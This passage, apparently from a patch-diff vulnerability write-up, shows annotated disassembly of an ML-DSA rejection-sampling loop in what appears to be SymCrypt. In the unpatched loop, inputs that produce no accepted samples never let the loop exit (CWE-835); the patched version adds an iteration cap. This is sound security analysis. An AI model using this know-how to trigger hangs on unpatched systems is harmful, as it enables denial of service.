&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BE9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BEB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;low&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BEE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BF0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096C17&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BF2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;BF5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096C2B&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;compute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C17&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_180096C17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C19&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096C2B&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;neither&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096C2B&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;compute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_180096C2B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;high&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sentinel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symmetrically&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_180096C60&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;second&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;nibble&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sentinel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096C81&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rejected&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ONLY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sample&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C84&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096CA6&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rejected&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;C8C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_180096CB2&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;CA4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ONLY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accepted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sample&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;CA6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;CAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_180096BCB&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;progress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CWE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;835&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched loop body (&lt;code&gt;SymCryptMlDsaRejBoundedPoly @ 0x18009A8C0&lt;/code&gt;), showing the added cap:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A8FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A93A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;was&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A93C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A93E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1E1&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_18009A93E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
